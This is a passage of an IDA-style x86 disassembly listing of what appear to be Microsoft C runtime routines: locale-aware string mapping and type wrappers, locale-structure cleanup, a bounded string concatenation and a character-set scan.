		cmp	ecx, 100h
		jnz	short loc_40C2DF
		mov	ecx, 2

loc_40C2DF:				; CODE XREF: sub_40C2A0+38j
		push	ecx
		call	sub_40F004
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_40C2A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2EC	proc near		; CODE XREF: sub_40C307+220p
					; sub_40C307+229p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short locret_40C306
		sub	eax, 8
		cmp	dword ptr [eax], 0DDDDh
		jnz	short locret_40C306
		push	eax
		call	sub_4039C3
		pop	ecx

locret_40C306:				; CODE XREF: sub_40C2EC+6j
					; sub_40C2EC+11j
		retn
sub_40C2EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C307	proc near		; CODE XREF: sub_40C6A9+2Cp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	dword_427E50, ebx
		push	edi
		mov	esi, ecx
		jnz	short loc_40C35E
		push	ebx
		push	ebx
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_41DC4C
		push	100h
		push	ebx
		call	ds:dword_41D128	; LCMapStringW
		test	eax, eax
		jz	short loc_40C349
		mov	dword_427E50, edi
		jmp	short loc_40C35E
; ---------------------------------------------------------------------------

loc_40C349:				; CODE XREF: sub_40C307+38j
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_40C35E
		mov	dword_427E50, 2

loc_40C35E:				; CODE XREF: sub_40C307+1Dj
					; sub_40C307+40j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_40C385
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]

loc_40C369:				; CODE XREF: sub_40C307+6Aj
		dec	ecx
		cmp	[eax], bl
		jz	short loc_40C376
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_40C369
		or	ecx, 0FFFFFFFFh

loc_40C376:				; CODE XREF: sub_40C307+65j
		mov	eax, [ebp+arg_C]
		sub	eax, ecx
		dec	eax
		cmp	eax, [ebp+arg_C]
		jge	short loc_40C382
		inc	eax

loc_40C382:				; CODE XREF: sub_40C307+78j
		mov	[ebp+arg_C], eax

loc_40C385:				; CODE XREF: sub_40C307+5Aj
		mov	eax, dword_427E50
		cmp	eax, 2
		jz	loc_40C53E
		cmp	eax, ebx
		jz	loc_40C53E
		cmp	eax, 1
		jnz	loc_40C56F
		cmp	[ebp+arg_18], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_40C3B4
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax

loc_40C3B4:				; CODE XREF: sub_40C307+A3j
		mov	esi, ds:dword_41D0A0
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		setnz	al
		push	[ebp+arg_8]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40C56F
		jle	short loc_40C426
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	edi
		cmp	eax, 2
		jb	short loc_40C426
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_40C40D
		call	sub_410860
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_40C421
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_40C41E
; ---------------------------------------------------------------------------

loc_40C40D:				; CODE XREF: sub_40C307+F1j
		push	eax
		call	sub_403AA0
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C421
		mov	dword ptr [eax], 0DDDDh

loc_40C41E:				; CODE XREF: sub_40C307+104j
		add	eax, 8

loc_40C421:				; CODE XREF: sub_40C307+FCj
					; sub_40C307+10Fj
		mov	[ebp+var_C], eax
		jmp	short loc_40C429
; ---------------------------------------------------------------------------

loc_40C426:				; CODE XREF: sub_40C307+DAj
					; sub_40C307+E6j
		mov	[ebp+var_C], ebx

loc_40C429:				; CODE XREF: sub_40C307+11Dj
		cmp	[ebp+var_C], ebx
		jz	loc_40C56F
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	loc_40C52D
		mov	esi, ds:dword_41D128
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringW
		mov	ecx, eax
		cmp	ecx, ebx
		mov	[ebp+var_8], ecx
		jz	loc_40C52D
		test	word ptr [ebp+arg_4], 400h
		jz	short loc_40C49D
		cmp	[ebp+arg_14], ebx
		jz	loc_40C52D
		cmp	ecx, [ebp+arg_14]
		jg	loc_40C52D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringW
		jmp	loc_40C52D
; ---------------------------------------------------------------------------

loc_40C49D:				; CODE XREF: sub_40C307+16Bj
		cmp	ecx, ebx
		jle	short loc_40C4E6
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, 2
		jb	short loc_40C4E6
		lea	eax, [ecx+ecx+8]
		cmp	eax, 400h
		ja	short loc_40C4CE
		call	sub_410860
		mov	esi, esp
		cmp	esi, ebx
		jz	short loc_40C52D
		mov	dword ptr [esi], 0CCCCh
		add	esi, 8
		jmp	short loc_40C4E8
; ---------------------------------------------------------------------------

loc_40C4CE:				; CODE XREF: sub_40C307+1AFj
		push	eax
		call	sub_403AA0
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C4E2
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8

loc_40C4E2:				; CODE XREF: sub_40C307+1D0j
		mov	esi, eax
		jmp	short loc_40C4E8
; ---------------------------------------------------------------------------

loc_40C4E6:				; CODE XREF: sub_40C307+198j
					; sub_40C307+1A4j
		xor	esi, esi

loc_40C4E8:				; CODE XREF: sub_40C307+1C5j
					; sub_40C307+1DDj
		cmp	esi, ebx
		jz	short loc_40C52D
		push	[ebp+var_8]
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41D128	; LCMapStringW
		test	eax, eax
		jz	short loc_40C526
		cmp	[ebp+arg_14], ebx
		push	ebx
		push	ebx
		jnz	short loc_40C50F
		push	ebx
		push	ebx
		jmp	short loc_40C515
; ---------------------------------------------------------------------------

loc_40C50F:				; CODE XREF: sub_40C307+202j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_40C515:				; CODE XREF: sub_40C307+206j
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_41D134	; WideCharToMultiByte
		mov	[ebp+var_8], eax

loc_40C526:				; CODE XREF: sub_40C307+1FBj
		push	esi
		call	sub_40C2EC
		pop	ecx

loc_40C52D:				; CODE XREF: sub_40C307+13Ej
					; sub_40C307+15Fj ...
		push	[ebp+var_C]
		call	sub_40C2EC
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	loc_40C697
; ---------------------------------------------------------------------------

loc_40C53E:				; CODE XREF: sub_40C307+86j
					; sub_40C307+8Ej
		cmp	[ebp+arg_0], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jnz	short loc_40C551
		mov	eax, [esi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_0], eax

loc_40C551:				; CODE XREF: sub_40C307+240j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_40C55E
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax

loc_40C55E:				; CODE XREF: sub_40C307+24Dj
		push	[ebp+arg_0]
		call	sub_410661
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jnz	short loc_40C576

loc_40C56F:				; CODE XREF: sub_40C307+97j
					; sub_40C307+D4j ...
		xor	eax, eax
		jmp	loc_40C697
; ---------------------------------------------------------------------------

loc_40C576:				; CODE XREF: sub_40C307+266j
		cmp	eax, [ebp+arg_18]
		jz	loc_40C65A
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_4106A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	short loc_40C56F
		mov	esi, ds:off_41D12C
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; sub_446455
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_40C5BD

loc_40C5B6:				; CODE XREF: sub_40C307+2D0j
					; sub_40C307+2F9j
		xor	esi, esi
		jmp	loc_40C674
; ---------------------------------------------------------------------------

loc_40C5BD:				; CODE XREF: sub_40C307+2ADj
		jle	short loc_40C5FC
		cmp	eax, 0FFFFFFE0h
		ja	short loc_40C5FC
		add	eax, 8
		cmp	eax, 400h
		ja	short loc_40C5E4
		call	sub_410860
		mov	edi, esp
		cmp	edi, ebx
		jz	short loc_40C5B6
		mov	dword ptr [edi], 0CCCCh
		add	edi, 8
		jmp	short loc_40C5FE
; ---------------------------------------------------------------------------

loc_40C5E4:				; CODE XREF: sub_40C307+2C5j
		push	eax
		call	sub_403AA0
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C5F8
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8

loc_40C5F8:				; CODE XREF: sub_40C307+2E6j
		mov	edi, eax
		jmp	short loc_40C5FE
; ---------------------------------------------------------------------------

loc_40C5FC:				; CODE XREF: sub_40C307:loc_40C5BDj
					; sub_40C307+2BBj
		xor	edi, edi

loc_40C5FE:				; CODE XREF: sub_40C307+2DBj
					; sub_40C307+2F3j
		cmp	edi, ebx
		jz	short loc_40C5B6
		push	[ebp+var_8]
		push	ebx
		push	edi
		call	sub_407F20
		add	esp, 0Ch
		push	[ebp+var_8]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; sub_446455
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_40C62C
		xor	esi, esi
		jmp	short loc_40C651
; ---------------------------------------------------------------------------

loc_40C62C:				; CODE XREF: sub_40C307+31Fj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	[ebp+arg_10]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_14]
		call	sub_4106A8
		mov	esi, eax
		mov	[ebp+var_10], esi
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		and	esi, [ebp+var_8]

loc_40C651:				; CODE XREF: sub_40C307+323j
		push	edi
		call	sub_40C2EC
		pop	ecx
		jmp	short loc_40C674
; ---------------------------------------------------------------------------

loc_40C65A:				; CODE XREF: sub_40C307+272j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41D12C
		mov	esi, eax

loc_40C674:				; CODE XREF: sub_40C307+2B1j
					; sub_40C307+351j
		cmp	[ebp+var_C], ebx
		jz	short loc_40C682
		push	[ebp+var_C]
		call	sub_4039C3
		pop	ecx

loc_40C682:				; CODE XREF: sub_40C307+370j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_40C695
		cmp	[ebp+arg_10], eax
		jz	short loc_40C695
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40C695:				; CODE XREF: sub_40C307+380j
					; sub_40C307+385j
		mov	eax, esi

loc_40C697:				; CODE XREF: sub_40C307+232j
					; sub_40C307+26Aj
		lea	esp, [ebp-20h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_402AD0
		leave
		retn
sub_40C307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6A9	proc near		; CODE XREF: sub_404BC6+B6p
					; sub_404BC6+DBp ...

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		push	[ebp+arg_20]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40C307
		add	esp, 20h
		cmp	[ebp+var_4], 0
		jz	short locret_40C6EA
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40C6EA:				; CODE XREF: sub_40C6A9+38j
		leave
		retn
sub_40C6A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6EC	proc near		; CODE XREF: sub_40C8A4+29p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, dword_427E54
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	eax, ebx
		push	edi
		mov	edi, ecx
		jnz	short loc_40C745
		lea	eax, [ebp+var_8]
		push	eax
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_41DC4C
		push	esi
		call	ds:dword_41D120	; GetStringTypeW
		test	eax, eax
		jz	short loc_40C72B
		mov	dword_427E54, esi
		jmp	short loc_40C75F
; ---------------------------------------------------------------------------

loc_40C72B:				; CODE XREF: sub_40C6EC+35j
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_40C740
		push	2
		pop	eax
		mov	dword_427E54, eax
		jmp	short loc_40C745
; ---------------------------------------------------------------------------

loc_40C740:				; CODE XREF: sub_40C6EC+48j
		mov	eax, dword_427E54

loc_40C745:				; CODE XREF: sub_40C6EC+1Dj
					; sub_40C6EC+52j
		cmp	eax, 2
		jz	loc_40C81D
		cmp	eax, ebx
		jz	loc_40C81D
		cmp	eax, 1
		jnz	loc_40C847

loc_40C75F:				; CODE XREF: sub_40C6EC+3Dj
		cmp	[ebp+arg_10], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_40C76F
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax

loc_40C76F:				; CODE XREF: sub_40C6EC+79j
		mov	esi, ds:dword_41D0A0
		xor	eax, eax
		cmp	[ebp+arg_18], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		setnz	al
		push	[ebp+arg_4]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40C847
		jle	short loc_40C7DA
		cmp	edi, 7FFFFFF0h
		ja	short loc_40C7DA
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_40C7C4
		call	sub_410860
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_40C7D8
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_40C7D5
; ---------------------------------------------------------------------------

loc_40C7C4:				; CODE XREF: sub_40C6EC+C3j
		push	eax
		call	sub_403AA0
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C7D8
		mov	dword ptr [eax], 0DDDDh

loc_40C7D5:				; CODE XREF: sub_40C6EC+D6j
		add	eax, 8

loc_40C7D8:				; CODE XREF: sub_40C6EC+CEj
					; sub_40C6EC+E1j
		mov	ebx, eax

loc_40C7DA:				; CODE XREF: sub_40C6EC+B0j
					; sub_40C6EC+B8j
		test	ebx, ebx
		jz	short loc_40C847
		lea	eax, [edi+edi]
		push	eax
		push	0
		push	ebx
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_40C811
		push	[ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_41D120	; GetStringTypeW
		mov	[ebp+var_8], eax

loc_40C811:				; CODE XREF: sub_40C6EC+112j
		push	ebx
		call	sub_40C2EC
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	short loc_40C892
; ---------------------------------------------------------------------------

loc_40C81D:				; CODE XREF: sub_40C6EC+5Cj
					; sub_40C6EC+64j
		xor	esi, esi
		cmp	[ebp+arg_14], ebx
		jnz	short loc_40C82C
		mov	eax, [edi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_14], eax

loc_40C82C:				; CODE XREF: sub_40C6EC+136j
		cmp	[ebp+arg_10], ebx
		jnz	short loc_40C839
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax

loc_40C839:				; CODE XREF: sub_40C6EC+143j
		push	[ebp+arg_14]
		call	sub_410661
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C84B

loc_40C847:				; CODE XREF: sub_40C6EC+6Dj
					; sub_40C6EC+AAj ...
		xor	eax, eax
		jmp	short loc_40C892
; ---------------------------------------------------------------------------

loc_40C84B:				; CODE XREF: sub_40C6EC+159j
		cmp	eax, [ebp+arg_10]
		jz	short loc_40C86E
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_10]
		call	sub_4106A8
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jz	short loc_40C847
		mov	[ebp+arg_4], esi

loc_40C86E:				; CODE XREF: sub_40C6EC+162j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+arg_14]
		call	ds:off_41D124
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_40C890
		push	esi
		call	sub_4039C3
		pop	ecx

loc_40C890:				; CODE XREF: sub_40C6EC+19Bj
		mov	eax, edi

loc_40C892:				; CODE XREF: sub_40C6EC+12Fj
					; sub_40C6EC+15Dj
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_402AD0
		leave
		retn
sub_40C6EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8A4	proc near		; CODE XREF: sub_404BC6+96p
					; sub_40CDF4+83p

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		push	[ebp+arg_1C]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40C6EC
		add	esp, 1Ch
		cmp	[ebp+var_4], 0
		jz	short locret_40C8E2
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40C8E2:				; CODE XREF: sub_40C8A4+35j
		leave
		retn
sub_40C8A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8E4	proc near		; CODE XREF: sub_4051D1+E9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_40CA72
		push	dword ptr [esi+4]
		call	sub_4039C3
		push	dword ptr [esi+8]
		call	sub_4039C3
		push	dword ptr [esi+0Ch]
		call	sub_4039C3
		push	dword ptr [esi+10h]
		call	sub_4039C3
		push	dword ptr [esi+14h]
		call	sub_4039C3
		push	dword ptr [esi+18h]
		call	sub_4039C3
		push	dword ptr [esi]
		call	sub_4039C3
		push	dword ptr [esi+20h]
		call	sub_4039C3
		push	dword ptr [esi+24h]
		call	sub_4039C3
		push	dword ptr [esi+28h]
		call	sub_4039C3
		push	dword ptr [esi+2Ch]
		call	sub_4039C3
		push	dword ptr [esi+30h]
		call	sub_4039C3
		push	dword ptr [esi+34h]
		call	sub_4039C3
		push	dword ptr [esi+1Ch]
		call	sub_4039C3
		push	dword ptr [esi+38h]
		call	sub_4039C3
		push	dword ptr [esi+3Ch]
		call	sub_4039C3
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_4039C3
		push	dword ptr [esi+44h]
		call	sub_4039C3
		push	dword ptr [esi+48h]
		call	sub_4039C3
		push	dword ptr [esi+4Ch]
		call	sub_4039C3
		push	dword ptr [esi+50h]
		call	sub_4039C3
		push	dword ptr [esi+54h]
		call	sub_4039C3
		push	dword ptr [esi+58h]
		call	sub_4039C3
		push	dword ptr [esi+5Ch]
		call	sub_4039C3
		push	dword ptr [esi+60h]
		call	sub_4039C3
		push	dword ptr [esi+64h]
		call	sub_4039C3
		push	dword ptr [esi+68h]
		call	sub_4039C3
		push	dword ptr [esi+6Ch]
		call	sub_4039C3
		push	dword ptr [esi+70h]
		call	sub_4039C3
		push	dword ptr [esi+74h]
		call	sub_4039C3
		push	dword ptr [esi+78h]
		call	sub_4039C3
		push	dword ptr [esi+7Ch]
		call	sub_4039C3
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_4039C3
		push	dword ptr [esi+84h]
		call	sub_4039C3
		push	dword ptr [esi+88h]
		call	sub_4039C3
		push	dword ptr [esi+8Ch]
		call	sub_4039C3
		push	dword ptr [esi+90h]
		call	sub_4039C3
		push	dword ptr [esi+94h]
		call	sub_4039C3
		push	dword ptr [esi+98h]
		call	sub_4039C3
		push	dword ptr [esi+9Ch]
		call	sub_4039C3
		push	dword ptr [esi+0A0h]
		call	sub_4039C3
		push	dword ptr [esi+0A4h]
		call	sub_4039C3
		push	dword ptr [esi+0A8h]
		call	sub_4039C3
		add	esp, 2Ch

loc_40CA72:				; CODE XREF: sub_40C8E4+7j
		pop	esi
		retn
sub_40C8E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA74	proc near		; CODE XREF: sub_4051D1+64p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40CAB2
		mov	eax, [esi]
		cmp	eax, off_423F38
		jz	short loc_40CA8E
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40CA8E:				; CODE XREF: sub_40CA74+11j
		mov	eax, [esi+4]
		cmp	eax, off_423F3C
		jz	short loc_40CAA0
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40CAA0:				; CODE XREF: sub_40CA74+23j
		mov	esi, [esi+8]
		cmp	esi, off_423F40
		jz	short loc_40CAB2
		push	esi
		call	sub_4039C3
		pop	ecx

loc_40CAB2:				; CODE XREF: sub_40CA74+7j
					; sub_40CA74+35j
		pop	esi
		retn
sub_40CA74	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CAB4	proc near		; CODE XREF: sub_4051D1+43p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40CB3B
		mov	eax, [esi+0Ch]
		cmp	eax, off_423F44
		jz	short loc_40CACF
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40CACF:				; CODE XREF: sub_40CAB4+12j
		mov	eax, [esi+10h]
		cmp	eax, off_423F48
		jz	short loc_40CAE1
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40CAE1:				; CODE XREF: sub_40CAB4+24j
		mov	eax, [esi+14h]
		cmp	eax, off_423F4C
		jz	short loc_40CAF3
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40CAF3:				; CODE XREF: sub_40CAB4+36j
		mov	eax, [esi+18h]
		cmp	eax, off_423F50
		jz	short loc_40CB05
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40CB05:				; CODE XREF: sub_40CAB4+48j
		mov	eax, [esi+1Ch]
		cmp	eax, off_423F54
		jz	short loc_40CB17
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40CB17:				; CODE XREF: sub_40CAB4+5Aj
		mov	eax, [esi+20h]
		cmp	eax, off_423F58
		jz	short loc_40CB29
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40CB29:				; CODE XREF: sub_40CAB4+6Cj
		mov	esi, [esi+24h]
		cmp	esi, off_423F5C
		jz	short loc_40CB3B
		push	esi
		call	sub_4039C3
		pop	ecx

loc_40CB3B:				; CODE XREF: sub_40CAB4+7j
					; sub_40CAB4+7Ej
		pop	esi
		retn
sub_40CAB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB3D	proc near		; CODE XREF: sub_409E64+117p
					; sub_409E64+139p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		push	edi
		jz	short loc_40CB52
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_40CB6D

loc_40CB52:				; CODE XREF: sub_40CB3D+Bj
					; sub_40CB3D+3Aj
		call	sub_405B83
		push	16h
		pop	esi
		mov	[eax], esi

loc_40CB5C:				; CODE XREF: sub_40CB3D+69j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4032F9
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40CBAA
; ---------------------------------------------------------------------------

loc_40CB6D:				; CODE XREF: sub_40CB3D+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_40CB79

loc_40CB75:				; CODE XREF: sub_40CB3D+48j
		mov	[eax], bl
		jmp	short loc_40CB52
; ---------------------------------------------------------------------------

loc_40CB79:				; CODE XREF: sub_40CB3D+36j
		mov	edx, eax

loc_40CB7B:				; CODE XREF: sub_40CB3D+44j
		cmp	[edx], bl
		jz	short loc_40CB83
		inc	edx
		dec	edi
		jnz	short loc_40CB7B

loc_40CB83:				; CODE XREF: sub_40CB3D+40j
		cmp	edi, ebx
		jz	short loc_40CB75

loc_40CB87:				; CODE XREF: sub_40CB3D+55j
		mov	cl, [esi]
		mov	[edx], cl
		inc	edx
		inc	esi
		cmp	cl, bl
		jz	short loc_40CB94
		dec	edi
		jnz	short loc_40CB87

loc_40CB94:				; CODE XREF: sub_40CB3D+52j
		cmp	edi, ebx
		jnz	short loc_40CBA8
		mov	[eax], bl
		call	sub_405B83
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40CB5C
; ---------------------------------------------------------------------------

loc_40CBA8:				; CODE XREF: sub_40CB3D+59j
		xor	eax, eax

loc_40CBAA:				; CODE XREF: sub_40CB3D+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CB3D	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]

loc_40CBC4:				; CODE XREF: .text:0040CBD1j
		mov	al, [edx]
		or	al, al
		jz	short loc_40CBD3
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_40CBC4
; ---------------------------------------------------------------------------

loc_40CBD3:				; CODE XREF: .text:0040CBC8j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]

loc_40CBDC:				; CODE XREF: .text:0040CBECj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_40CBEE
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_40CBDC

loc_40CBEE:				; CODE XREF: .text:0040CBE3j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBF6	proc near		; CODE XREF: sub_409E64+F1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
